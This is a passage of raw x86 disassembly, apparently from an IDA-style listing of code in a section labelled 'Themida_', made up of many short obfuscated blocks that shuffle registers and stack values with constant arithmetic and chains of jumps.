ecx, [esp] mov esp, [esp] mov edx, [esp] push 1EDEh mov [esp], ebx jmp loc_57081E ; --------------------------------------------------------------------------- mov ax, [esp] push 3301h jmp loc_568144 ; --------------------------------------------------------------------------- loc_561279: ; CODE XREF: Themida_:0055E3E6j pop edi jmp loc_56D8F5 ; --------------------------------------------------------------------------- loc_56127F: ; CODE XREF: Themida_:005672B9j sub ecx, 162860CDh xor ecx, 3064A58Bh sub ebx, ecx pop ecx sub ebx, 493E27C6h jmp loc_57033C ; --------------------------------------------------------------------------- loc_561299: ; CODE XREF: Themida_:00566C71j add ax, bx mov bx, [esp] jmp loc_5603AB ; --------------------------------------------------------------------------- loc_5612A5: ; CODE XREF: Themida_:00570D61j mov esi, [esp] add esp, 4 sub ebx, edi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ecx sub esp, 4 jmp loc_567708 ; --------------------------------------------------------------------------- loc_5612DD: ; CODE XREF: Themida_:0056AC61j push esi mov esi, 1DB4108Dh sub esi, 0D44EF9D2h jmp loc_560A0B ; --------------------------------------------------------------------------- loc_5612EE: ; CODE XREF: Themida_:005663D0j add ebx, 7D74F77h shr ebx, 2 dec ebx not ebx jmp loc_5720EB ; --------------------------------------------------------------------------- loc_5612FF: ; CODE XREF: Themida_:00560C67j push ebp push 3CBD135Dh jmp loc_563144 ; --------------------------------------------------------------------------- loc_56130A: ; CODE XREF: Themida_:0055EFB5j mov [esp], eax sub esp, 4 jmp loc_56BF4E ; --------------------------------------------------------------------------- loc_561318: ; CODE XREF: Themida_:0056A3CFj mov eax, 3B857007h push edi mov edi, 311526FFh add edi, 37E8655Ch add edi, 0EEE1B9E3h add ebx, edi pop edi jmp loc_55DC0C ; --------------------------------------------------------------------------- loc_561337: ; CODE XREF: Themida_:0055D422j xor ah, 62h dec ah shl ah, 7 xor ah, 92h jmp loc_5668C1 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi push esp jmp loc_56297C ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_565D3A ; --------------------------------------------------------------------------- loc_561365: ; CODE XREF: Themida_:005671A5j push esi mov esi, esp jmp loc_56BF3B ; --------------------------------------------------------------------------- loc_56136D: ; CODE XREF: Themida_:0056C118j xor edi, eax pop eax xor edi, 4B626BB2h sub edi, 3FD105FBh push 780Ch mov [esp], eax mov eax, 60B22355h or edi, eax pop eax push 2448h mov [esp], ebp mov ebp, 3546C64h or ebp, 1E6E2777h inc ebp shl ebp, 8 jmp loc_56DC55 ; --------------------------------------------------------------------------- loc_5613A8: ; CODE XREF: Themida_:0055FBB5j mov edi, 5BAA7B17h inc edi add edi, 0C65B389h add ecx, edi pop edi pop ebx add ecx, 4 push 1524h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_572821 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5613D2: ; CODE XREF: sub_59DB3D-37052j mov al, 4Fh mov ch, 4Dh xor ch, al pop eax or ah, ch mov cx, word ptr [esp+28h+var_28] add esp, 2 push edx jmp loc_56C717 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_5613E8: ; CODE XREF: Themida_:0056D50Aj pop esi xor eax, [esp] xor [esp], eax jmp loc_57190D ; --------------------------------------------------------------------------- loc_5613F4: ; CODE XREF: Themida_:00562F83j pop ebx add edx, esi pop esi push esi mov esi, esp push 7C5Eh mov [esp], eax mov eax, 80B591Eh shl eax, 3 and eax, 0BA32A53h xor eax, 20854h add esi, eax pop eax sub esi, 4 xor esi, [esp] jmp loc_565407 ; --------------------------------------------------------------------------- loc_561423: ; CODE XREF: Themida_:00568094j mov ecx, 1B3750DBh mov eax, 3D37E887h add eax, ecx pop ecx jmp loc_564B74 ; --------------------------------------------------------------------------- loc_561435: ; CODE XREF: Themida_:0056E411j push dword ptr [eax] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56143C: ; CODE XREF: Themida_:0056DEB5j xor [esp], edx xor edx, [esp] pop esp push ebp push eax mov eax, 62593AC1h push edi mov edi, 674715BFh mov ebp, edi pop edi add ebp, 0FB12A502h xor ebp, eax mov eax, [esp] push eax push 4E3Eh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push ebp push 50B0h jmp loc_569562 ; --------------------------------------------------------------------------- loc_56147C: ; CODE XREF: Themida_:00564DD7j push eax push ebx mov ebx, ecx mov eax, ebx pop ebx jmp loc_55F6CA ; --------------------------------------------------------------------------- loc_561488: ; CODE XREF: Themida_:0056B0BEj pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_56F15D ; --------------------------------------------------------------------------- loc_56149A: ; CODE XREF: Themida_:00563978j add esi, 88ACB48Ch add edx, esi jmp loc_55F1D9 ; --------------------------------------------------------------------------- mov cx, [esp] push 67FCh mov [esp], ebx push esp mov ebx, [esp] jmp loc_5614F8 ; --------------------------------------------------------------------------- loc_5614BC: ; CODE XREF: Themida_:00565D9Cj add edi, ebx pop ebx mov ecx, 0D8A065Dh sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_5682DC ; --------------------------------------------------------------------------- loc_5614D1: ; CODE XREF: Themida_:00571AA6j push edi mov edi, 658A628Bh push esi jmp loc_56F147 ; --------------------------------------------------------------------------- loc_5614DD: ; CODE XREF: Themida_:00563747j add ebx, 770E4078h sub ebx, edx sub ebx, 770E4078h push 72EBh mov [esp], eax jmp loc_5615D9 ; --------------------------------------------------------------------------- loc_5614F8: ; CODE XREF: Themida_:005614B7j sub esp, 4 mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_563570 ; --------------------------------------------------------------------------- loc_561510: ; CODE XREF: Themida_:0056E06Dj mov [esp], ebp push 5F7Ch jmp loc_56994A ; --------------------------------------------------------------------------- loc_56151D: ; CODE XREF: Themida_:00567442j xor ecx, 50511A58h shl ecx, 7 xor ecx, 0B193BA7Eh and ebp, ecx pop ecx sub ebp, 0E4373023h xor esi, ebp mov ebp, [esp] add esp, 4 add ebx, esi mov esi, [esp] add esp, 4 add ebx, 4 jmp loc_563C23 ; --------------------------------------------------------------------------- loc_56154D: ; CODE XREF: Themida_:0056AF32j push edx jmp loc_57240B ; --------------------------------------------------------------------------- loc_561553: ; CODE XREF: Themida_:00560C15j push edx mov edx, edi mov ebx, edx pop edx jmp loc_571DDB ; --------------------------------------------------------------------------- loc_56155E: ; CODE XREF: Themida_:0056A22Ej push dword ptr [esp] pop ecx jmp loc_56A8AC ; --------------------------------------------------------------------------- loc_561567: ; CODE XREF: Themida_:00560983j shr al, 7 sub al, 6Fh jmp loc_569101 ; --------------------------------------------------------------------------- loc_561571: ; CODE XREF: Themida_:00562257j pop esp add esi, 4 xchg esi, [esp] jmp loc_56D67B ; --------------------------------------------------------------------------- loc_561580: ; CODE XREF: Themida_:005628F1j xor edi, 310D1602h add edi, 0F0A9299h add ecx, edi pop edi sub ecx, 70350BD2h pop edi add eax, [ecx] pop ecx jmp loc_56360C ; --------------------------------------------------------------------------- loc_56159E: ; CODE XREF: Themida_:00560459j sub esp, 4 jmp loc_56A4F4 ; --------------------------------------------------------------------------- push 2458h jmp loc_56FF19 ; --------------------------------------------------------------------------- loc_5615B3: ; CODE XREF: Themida_:0055F734j pop esi sub ebx, 4 xchg ebx, [esp] jmp loc_55D5EF ; --------------------------------------------------------------------------- loc_5615BF: ; CODE XREF: Themida_:0056B195j push edi mov edi, 6C094F01h push edi jmp loc_56313A ; --------------------------------------------------------------------------- loc_5615CB: ; CODE XREF: Themida_:00561072j add ecx, eax pop eax jmp loc_56F554 ; --------------------------------------------------------------------------- loc_5615D3: ; CODE XREF: Themida_:0055DA38j push edi jmp loc_56FA3A ; --------------------------------------------------------------------------- loc_5615D9: ; CODE XREF: Themida_:005614F3j mov eax, 690635EBh sub ebx, eax pop eax pop edx and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push 313Eh mov [esp], ebx jmp loc_56D077 ; --------------------------------------------------------------------------- loc_5615FA: ; CODE XREF: Themida_:0056C13Bj push ebx push esp jmp loc_562D45 ; --------------------------------------------------------------------------- loc_561601: ; CODE XREF: Themida_:0056867Aj add ebx, 4 push edx mov edx, 4 add ebx, 250A4B1Eh sub ebx, edx push ebp mov ebp, 7D970CA0h shl ebp, 3 inc ebp jmp loc_56D40D ; --------------------------------------------------------------------------- loc_561624: ; CODE XREF: Themida_:00561947j sub ecx, 1D7A016Ch sub ecx, 8EAF8698h push ecx add dword ptr [esp], 152D224Eh pop ebp sub ebp, 152D224Eh pop ecx add ebp, ebx jmp loc_56037B ; --------------------------------------------------------------------------- loc_561647: ; CODE XREF: Themida_:0056EAFBj xor ah, bh jmp loc_56BC64 ; --------------------------------------------------------------------------- loc_56164E: ; CODE XREF: Themida_:005679E4j mov ecx, esp sub esp, 4 mov [esp], eax jmp loc_5718E0 ; --------------------------------------------------------------------------- loc_56165B: ; CODE XREF: Themida_:00571F6Ej pop esi jmp loc_55E01D ; --------------------------------------------------------------------------- loc_561661: ; CODE XREF: Themida_:00563E7Fj push eax jmp loc_57109E ; --------------------------------------------------------------------------- loc_561667: ; CODE XREF: Themida_:0056A720j add esp, 4 pop dword ptr [esp] mov esp, [esp] push 46A3h mov [esp], ebp push edx push edi jmp loc_55D611 ; --------------------------------------------------------------------------- loc_56167F: ; CODE XREF: Themida_:00562436j mov [esp], ecx mov ch, 0E6h mov bh, 4 add bh, 0 sub bh, ch sub bh, 0 pop ecx add al, 0ABh jmp loc_570405 ; --------------------------------------------------------------------------- loc_561696: ; CODE XREF: Themida_:005603C8j dec ecx xchg edi, ecx not edi xchg edi, ecx neg ecx neg ecx xor ecx, 9F388D24h sub edx, 1BA5509Bh add edx, ecx add edx, 1BA5509Bh jmp loc_56E331 ; --------------------------------------------------------------------------- loc_5616BA: ; CODE XREF: Themida_:0056AEB3j xor dword ptr [esp], 1142EF1h pop ebp push eax mov eax, 1142EF1h xor ebp, eax pop eax pop esi neg ebp xor ebp, 849595ABh jmp loc_56FEC0 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx jmp loc_561F18 ; --------------------------------------------------------------------------- loc_5616E3: ; CODE XREF: Themida_:0056614Ej pop edi push ebx mov ebx, esp jmp loc_56C3D6 ; --------------------------------------------------------------------------- loc_5616EC: ; CODE XREF: Themida_:00566140j mov esi, 4 sub ebp, esi jmp loc_5690D9 ; --------------------------------------------------------------------------- loc_5616F8: ; CODE XREF: Themida_:0056B9F1j add bl, dl pop edx add bl, cl jmp loc_561901 ; --------------------------------------------------------------------------- loc_561702: ; CODE XREF: Themida_:00560B72j mov [esp], ecx jmp loc_5660FE ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_56BAF6 ; --------------------------------------------------------------------------- loc_56171B: ; CODE XREF: Themida_:0056D624j push 5598h mov [esp], edi push 71A630AEh pop edi push edi not dword ptr [esp] jmp loc_566B9C ; --------------------------------------------------------------------------- loc_561732: ; CODE XREF: Themida_:0056A105j mov [esp], edx mov edx, 2 jmp loc_55EAC1 ; --------------------------------------------------------------------------- loc_56173F: ; CODE XREF: Themida_:0056AEE9j mov edx, 744E3784h shr edx, 8 shl edx, 1 sub edx, 29255EA5h dec edx not edx push edx inc dword ptr [esp] pop edx sub edx, 2B0FEE45h xor edi, edx pop edx xor edx, edi mov edi, [esp] add esp, 4 add edx, 93F59426h sub edi, edx jmp loc_5654BF ; --------------------------------------------------------------------------- loc_561775: ; CODE XREF: Themida_:005692A9j mov eax, [esp] add esp, 4 add ebp, edi jmp loc_55D743 ; --------------------------------------------------------------------------- loc_561782: ; CODE XREF: Themida_:00571E2Ej add ebp, 0E8DC18AEh sub esi, ebp pop ebp inc esi jmp loc_562C6A ; --------------------------------------------------------------------------- mov cx, [esp] push edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55DE99 ; --------------------------------------------------------------------------- loc_5617AB: ; CODE XREF: Themida_:0056B047j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub bl, 0CAh push edx mov dl, 78h jmp loc_56FA57 ; --------------------------------------------------------------------------- loc_5617C5: ; CODE XREF: Themida_:0056A5DAj push edi mov edi, 534F7419h dec edi neg edi or edi, 144942F7h jmp loc_56AAF1 ; --------------------------------------------------------------------------- loc_5617D9: ; CODE XREF: Themida_:00569ABAj mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] jmp loc_5718F3 ; --------------------------------------------------------------------------- loc_5617E9: ; CODE XREF: Themida_:0056EF84j add esp, 4 push ebx jmp loc_5631B6 ; --------------------------------------------------------------------------- loc_5617F2: ; CODE XREF: Themida_:005707ECj xor ebp, 9D4B1B44h jmp loc_563FA9 ; --------------------------------------------------------------------------- loc_5617FD: ; CODE XREF: Themida_:00564CD0j add dword ptr [esp], 4F9C2D39h mov eax, [esp] jmp loc_5659F8 ; --------------------------------------------------------------------------- loc_56180C: ; CODE XREF: Themida_:00562FFFj mov [esp], eax mov eax, esp push ebx mov ebx, 5B0F063Ch not ebx shl ebx, 3 dec ebx dec ebx inc ebx xor ebx, 40ADB2B0h dec ebx shr ebx, 5 shr ebx, 1 jmp loc_56F55E ; --------------------------------------------------------------------------- loc_561830: ; CODE XREF: Themida_:00565EA3j shr esi, 4 jmp loc_560E42 ; --------------------------------------------------------------------------- loc_561838: ; CODE XREF: Themida_:00572196j or ebx, 4ACD5529h add ebx, 7D0626A2h dec ebx add ebx, 8809F9F8h add ebp, ebx pop ebx xchg ebp, [esp] jmp loc_56FE7F ; --------------------------------------------------------------------------- loc_561856: ; CODE XREF: Themida_:0055E11Cj mov eax, 7DB44071h push edx jmp loc_55F9F2 ; --------------------------------------------------------------------------- loc_561861: ; CODE XREF: Themida_:00570D27j sub ebp, 21FF77ABh add ecx, 44847EACh add ecx, ebp sub ecx, 44847EACh pop ebp push eax mov eax, 10384935h and eax, 6A890723h push edi push esi mov esi, 3FAC5E02h mov edi, 57C67775h sub edi, esi pop esi and eax, edi pop edi xor eax, 4F421630h push 5F97h mov [esp], edx mov edx, 7B9A2477h push ebp mov ebp, 49AC1735h sub ebp, 75FC2497h jmp loc_570680 ; --------------------------------------------------------------------------- loc_5618B6: ; CODE XREF: Themida_:0056C88Ej push 2154700Ah jmp loc_55DA07 ; --------------------------------------------------------------------------- loc_5618C0: ; CODE XREF: Themida_:005691FDj shr edi, 7 neg edi sub edi, 0EDBB3CDEh mov ecx, 4C4C2776h add ecx, edi pop edi add ecx, 1 xor ecx, 63A63637h xor ecx, 3EF90106h push ecx add dword ptr [esp], 5D7F5E4Dh mov ebp, [esp] add esp, 4 jmp loc_56EF7B ; --------------------------------------------------------------------------- loc_5618F8: ; CODE XREF: Themida_:00565B81j mov dl, 0E0h dec dl jmp loc_561B35 ; --------------------------------------------------------------------------- loc_561901: ; CODE XREF: Themida_:005616FDj push eax jmp loc_5725A2 ; --------------------------------------------------------------------------- lodsb push esi mov esi, esp jmp loc_56C2CC ; --------------------------------------------------------------------------- loc_561910: ; CODE XREF: Themida_:0056E1E6j add edx, 4F7D3462h jmp loc_563332 ; --------------------------------------------------------------------------- loc_56191B: ; CODE XREF: Themida_:00567338j mov [esp], edx mov edx, esp push 7324h mov [esp], ecx push 2057h mov [esp], ebp mov ebp, 4 push ebp push edx mov edx, 72D76FE3h jmp loc_56A124 ; --------------------------------------------------------------------------- loc_561941: ; CODE XREF: Themida_:005725B9j push ecx mov ecx, 64A5573Dh jmp loc_561624 ; --------------------------------------------------------------------------- loc_56194C: ; CODE XREF: Themida_:0056306Dj push ebp mov ebp, 499147DEh jmp loc_5628BE ; --------------------------------------------------------------------------- loc_561957: ; CODE XREF: Themida_:0056778Bj pop ecx pop eax sub esp, 4 mov [esp], ecx mov ch, 57h sub ch, 0BBh or bl, ch pop ecx jmp loc_569927 ; --------------------------------------------------------------------------- loc_56196C: ; CODE XREF: Themida_:0056E14Cj neg ch xor ch, 0Ah sub ch, 3 xor ch, 0B4h xor ch, 99h add ch, 0Bh push ebx mov bl, 4Dh dec bl jmp loc_55FB7A ; --------------------------------------------------------------------------- loc_561987: ; CODE XREF: Themida_:005703BCj add esp, 4 xor ecx, eax pop eax sub eax, 481561FDh jmp loc_561F6A ; --------------------------------------------------------------------------- loc_561997: ; CODE XREF: Themida_:0056F6B7j mov ecx, ebp mov ebp, [esp] add esp, 4 inc ecx add ecx, 0C43A8E53h jmp loc_56A587 ; --------------------------------------------------------------------------- loc_5619AB: ; CODE XREF: Themida_:00567854j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_571AB2 ; --------------------------------------------------------------------------- loc_5619C6: ; CODE XREF: Themida_:00560954j pop edx push ebx push ecx push esi mov esi, 700F10DDh push esi add dword ptr [esp], 233504F5h pop ecx sub ecx, 233504F5h pop esi push edi mov edi, 3DE5479Eh jmp loc_55DA48 ; --------------------------------------------------------------------------- loc_5619EA: ; CODE XREF: Themida_:0056A6CAj xchg edi, [esp] mov esp, [esp] add esp, 4 jmp loc_56B7FF ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx jmp loc_571D8E ; --------------------------------------------------------------------------- loc_561A03: ; CODE XREF: Themida_:0056F158j push ecx mov ecx, 57D72537h xor ecx, 5E38767Dh add esi, ecx pop ecx add esi, 245B34C9h sub esi, edi sub esi, 245B34C9h sub esi, 9EF534Ah pop edi add esi, ebp add esi, 1F7554E4h mov ebp, [esp] push edi push esp pop edi add edi, 4 jmp loc_568AAF ; --------------------------------------------------------------------------- loc_561A40: ; CODE XREF: Themida_:00565402j sub edi, esi pop esi add edx, 37191F2Dh sub edx, edi sub edx, 37191F2Dh pop edi jmp loc_569D53 ; --------------------------------------------------------------------------- loc_561A57: ; CODE XREF: Themida_:0055E792j add dword ptr [esp], 4 pop edx push ecx jmp loc_5603C3 ; --------------------------------------------------------------------------- loc_561A65: ; CODE XREF: Themida_:00568B67j xor esi, 15F03157h xor esi, 141C53F0h sub esi, 2D25763Bh sub esi, 8FFD100h jmp loc_56A10A ; --------------------------------------------------------------------------- loc_561A82: ; CODE XREF: Themida_:0056C939j mov ecx, [esp] jmp loc_56C64A ; --------------------------------------------------------------------------- loc_561A8A: ; CODE XREF: Themida_:0056721Cj mov ebx, 24C91C49h dec ebx neg ebx add ebx, 7F1F1FE2h xor ebx, 71A82092h add ecx, ebx pop ebx jmp loc_571765 ; --------------------------------------------------------------------------- loc_561AA6: ; CODE XREF: Themida_:0056C104j mov [esp], ebx mov ebx, 24h jmp loc_56F76C ; --------------------------------------------------------------------------- loc_561AB3: ; CODE XREF: Themida_:00564B39j not edi jmp loc_56CB80 ; --------------------------------------------------------------------------- loc_561ABA: ; CODE XREF: Themida_:005650FDj add ecx, 70AF46CAh shr ecx, 6 add ecx, 0FC7D7D0Ah sub dword ptr [esp+4], 4D2501C0h add [esp+4], ecx add dword ptr [esp+4], 4D2501C0h pop ecx mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_565CCD ; --------------------------------------------------------------------------- loc_561AEF: ; CODE XREF: Themida_:0055DB1Dj push esp pop edx add edx, 4 push ebx push 2 pop ebx push edi mov edi, 0CE93AF9h push edx mov edx, 319B4FF5h sub edi, edx pop edx add edi, 29919111h add edx, 5B8C36A0h jmp loc_56F292 ; --------------------------------------------------------------------------- loc_561B1E: ; CODE XREF: Themida_:0056F2BFj pop esp jmp loc_56B561 ; --------------------------------------------------------------------------- loc_561B24: ; CODE XREF: Themida_:005698D8j push ebx jmp loc_56A5AF ; --------------------------------------------------------------------------- loc_561B2A: ; CODE XREF: Themida_:0056844Bj push ebx mov bh, 9Ah xor bh, 39h jmp loc_561FE5 ; --------------------------------------------------------------------------- loc_561B35: ; CODE XREF: Themida_:005618FCj and dl, 0D5h add dl, 4Dh and ah, dl jmp loc_563C29 ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Themida_:00570245j pop esi jmp loc_56A436 ; --------------------------------------------------------------------------- loc_561B48: ; CODE XREF: Themida_:00569710j mov ebp, [esp] jmp loc_566453 ; --------------------------------------------------------------------------- loc_561B50: ; CODE XREF: Themida_:0055E8A1j add eax, edi jmp loc_55DFFF ; --------------------------------------------------------------------------- loc_561B57: ; CODE XREF: Themida_:0056DE90j sub eax, 786E7EF1h jmp loc_5691C7 ; --------------------------------------------------------------------------- loc_561B61: ; CODE XREF: Themida_:00563B4Fj push ecx push esi mov esi, 36326635h mov ecx, esi pop esi push ecx pop edi pop ecx sub esp, 4 mov [esp], eax mov eax, 1 jmp loc_5680B5 ; --------------------------------------------------------------------------- loc_561B7E: ; CODE XREF: Themida_:005710FFj add dword ptr [esp], 2D1470AFh mov eax, [esp] jmp loc_57030B ; --------------------------------------------------------------------------- loc_561B8D: ; CODE XREF: Themida_:0056289Bj inc esi xor esi, 39880885h xor ebx, esi pop esi xor ebp, ebx pop ebx xor ebp, 76975D3h shl ebp, 5 push ebx mov ebx, 924764C6h xor ebp, ebx pop ebx add edi, ebp mov ebp, [esp] jmp loc_55E7E7 ; --------------------------------------------------------------------------- loc_561BB6: ; CODE XREF: Themida_:0056D3DBj sub esp, 4 jmp loc_56B8F9 ; --------------------------------------------------------------------------- loc_561BBE: ; CODE XREF: Themida_:0056FD22j xor ebp, 1F39771Ch shl ebp, 4 dec ebp sub ebp, 0A1D1D96Ah push eax mov eax, 7D97237Ah or eax, 7B3448AEh xor eax, 4A117B51h jmp loc_562852 ; --------------------------------------------------------------------------- loc_561BE3: ; CODE XREF: Themida_:0056C099j push 50F06C11h mov edx, [esp] jmp loc_56913B ; --------------------------------------------------------------------------- loc_561BF0: ; CODE XREF: Themida_:005649A4j neg ebx inc ebx jmp loc_560FB0 ; --------------------------------------------------------------------------- loc_561BF8: ; CODE XREF: Themida_:00571848j mov eax, esp jmp loc_55F0BC ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561C08: ; CODE XREF: Themida_:0056352Ej add esp, 4 add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561C13: ; CODE XREF: Themida_:0056878Aj pop edx xchg ecx, [esp] pop esp jmp loc_5713A2 ; --------------------------------------------------------------------------- loc_561C1D: ; CODE XREF: Themida_:0056FC4Ej push 55h jmp loc_56F838 ; --------------------------------------------------------------------------- loc_561C27: ; CODE XREF: Themida_:00569B1Aj xor eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_564AC3 ; --------------------------------------------------------------------------- loc_561C35: ; CODE XREF: Themida_:005655EFj push esi mov esi, 424A4144h push edx mov edx, 0FFFFFFFFh sub esi, edx pop edx jmp loc_56E5FB ; --------------------------------------------------------------------------- loc_561C49: ; CODE XREF: Themida_:005662EBj push ebx mov ebx, esp push esi mov esi, 7DF07C5Eh not esi jmp loc_55FA02 ; --------------------------------------------------------------------------- loc_561C59: ; CODE XREF: Themida_:005709C4j push ebx mov ebx, 4C0F552Ah and ebx, 43826602h sub ebx, 581243C5h xor ebx, 6CFC0E9Ch not ebx neg ebx jmp loc_567802 ; --------------------------------------------------------------------------- loc_561C7A: ; CODE XREF: Themida_:00568E3Bj mov esi, 1B0F009Ch xor ebx, esi pop esi push ebx jmp loc_56E26D ; --------------------------------------------------------------------------- loc_561C88: ; CODE XREF: Themida_:0055E973j sub esp, 4 mov [esp], ecx mov ecx, 7B2E0E4Dh and esi, ecx mov ecx, [esp] push esi push esp pop esi jmp loc_55E7C5 ; --------------------------------------------------------------------------- loc_561CA0: ; CODE XREF: Themida_:005700FDj mov esi, 2E31154Eh neg esi sub esi, 0FFFFFFFFh inc esi not esi add esi, 0D3AD2639h jmp loc_570160 ; --------------------------------------------------------------------------- loc_561CBB: ; CODE XREF: Themida_:0057089Dj add ebp, 63871DDh jmp loc_5600DC ; --------------------------------------------------------------------------- loc_561CC6: ; CODE XREF: Themida_:00563E51j push 3DFFh jmp loc_56FD07 ; --------------------------------------------------------------------------- loc_561CD0: ; CODE XREF: Themida_:0056B22Ej add ebx, 348F21F1h push 7EF9h jmp loc_57161D ; --------------------------------------------------------------------------- loc_561CE0: ; CODE XREF: Themida_:00572423j xchg ecx, [esp] jmp loc_568228 ; --------------------------------------------------------------------------- loc_561CE8: ; CODE XREF: Themida_:00564770j add esp, 4 push 1CD4h jmp loc_56B589 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_561CF8: ; CODE XREF: sub_562A0A+3821j or cl, 2Eh xor cl, 4Ah add dl, cl pop ecx sub dl, 1Fh xor ah, dl mov edx, [esp+0Ch+var_C] add esp, 4 sub ah, 0FFh sub ah, 85h sub ah, 7 add bl, 0FCh sub bl, ah sub bl, 0FCh mov eax, [esp+8+var_8] add esp, 4 sub bl, cl push edx mov dl, 0BEh xor dl, 0B0h or dl, 2 shl dl, 3 push ecx mov cl, 97h jmp loc_570F9D ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_561D3C: ; CODE XREF: Themida_:0056512Aj pop ebx pop ecx jmp loc_5703DA ; --------------------------------------------------------------------------- loc_561D43: ; CODE XREF: Themida_:005623BDj pop edi jmp loc_57056D ; --------------------------------------------------------------------------- loc_561D49: ; CODE XREF: Themida_:0056C41Aj and ebx, 1DB77796h neg ebx add ebx, 42AC53D7h xor ebx, 360A2157h add ebp, ebx jmp loc_5649F0 ; --------------------------------------------------------------------------- loc_561D64: ; CODE XREF: Themida_:0056469Ej mov [esp], ebx jmp loc_567C07 ; --------------------------------------------------------------------------- loc_561D6C: ; CODE XREF: Themida_:0055D3FBj dec edx add edx, 2792917h add edx, 0FFFFFFFFh not edx not edx xor edx, 0A5749E9Bh jmp loc_5699B5 ; --------------------------------------------------------------------------- loc_561D88: ; CODE XREF: Themida_:0056B039j sub esp, 4 jmp loc_567A28 ; --------------------------------------------------------------------------- loc_561D90: ; CODE XREF: Themida_:0056A766j add eax, 4 push ebx push edi mov edi, 46850A66h neg edi jmp loc_56B703 ; --------------------------------------------------------------------------- loc_561DA3: ; CODE XREF: Themida_:00571FD9j or ebp, 2B22660h sub ebp, 2AC06570h sub ebp, 2BFED8FCh mov esi, ebp pop ebp jmp loc_5698E3 ; --------------------------------------------------------------------------- loc_561DBD: ; CODE XREF: Themida_:00562F6Fj add esi, 4 jmp loc_56B38C ; --------------------------------------------------------------------------- loc_561DC8: ; CODE XREF: Themida_:0056B173j mov esi, [esp] add esp, 4 push edx mov edx, 25CD3D17h xor edx, 0A04839h push edi mov edi, 57BA2BB4h jmp loc_571665 ; --------------------------------------------------------------------------- loc_561DE8: ; CODE XREF: Themida_:005639E8j sub [esp+4], esi pop esi jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561DF2: ; CODE XREF: Themida_:0056EA6Bj add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, 74EF1307h not ebp or ebp, 4E9C5541h xor ebp, 2BB44846h push 1796h mov [esp], ebx mov ebx, 39E32AADh sub ebp, ebx pop ebx jmp loc_55DD77 ; --------------------------------------------------------------------------- loc_561E27: ; CODE XREF: Themida_:0055FB3Aj mov ecx, edx pop edx push ecx add dword ptr [esp], 6C107D2Fh pop edx sub edx, 6C107D2Fh pop ecx push 2778h mov [esp], esi push eax mov eax, 416F0FCDh or eax, 1FB93E75h add eax, 1BAC0386h add eax, 132E7FF9h xor eax, 0D936B0ADh mov esi, eax pop eax jmp loc_55F352 ; --------------------------------------------------------------------------- loc_561E64: ; CODE XREF: Themida_:0056F4A8j mov ebx, 5C971567h jmp loc_5606FA ; --------------------------------------------------------------------------- loc_561E6E: ; CODE XREF: Themida_:0056F39Ej mov edi, [esp] add esp, 4 jmp loc_56D281 ; --------------------------------------------------------------------------- loc_561E7C: ; CODE XREF: Themida_:005671EAj push 3925h mov [esp], eax mov eax, 6A6E1767h jmp loc_566A36 ; --------------------------------------------------------------------------- loc_561E8E: ; CODE XREF: Themida_:0057052Dj pop ecx pop ecx add ecx, 4 push esi mov esi, 39B431D9h sub esi, 700C18F7h jmp loc_568951 ; --------------------------------------------------------------------------- loc_561EA7: ; CODE XREF: Themida_:00567A89j pop eax push esi mov esi, esp add esi, 4 jmp loc_55E10D ; --------------------------------------------------------------------------- loc_561EB6: ; CODE XREF: Themida_:0056B0B8j push esp push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_57051C ; --------------------------------------------------------------------------- loc_561EC3: ; CODE XREF: Themida_:00570039j sub esi, 734C2D52h pop ecx jmp loc_5647FB ; --------------------------------------------------------------------------- loc_561ECF: ; CODE XREF: Themida_:0056FFADj pop ebx push esi mov esi, 3C772A65h inc esi jmp loc_571F55 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 2703h mov [esp], ecx jmp loc_55E4F3 ; --------------------------------------------------------------------------- loc_561EF2: ; CODE XREF: Themida_:00564688j mov eax, 460F303Ah jmp loc_560BB1 ; --------------------------------------------------------------------------- loc_561EFC: ; CODE XREF: Themida_:0055DB88j push 3DFBh mov [esp], eax push 7C62h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_57112C ; --------------------------------------------------------------------------- loc_561F18: ; CODE XREF: Themida_:005616DEj sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], eax jmp loc_564A61 ; --------------------------------------------------------------------------- loc_561F44: ; CODE XREF: Themida_:005667B6j mov edx, [esp] add esp, 4 push edx push esp pop edx jmp loc_572813 ; 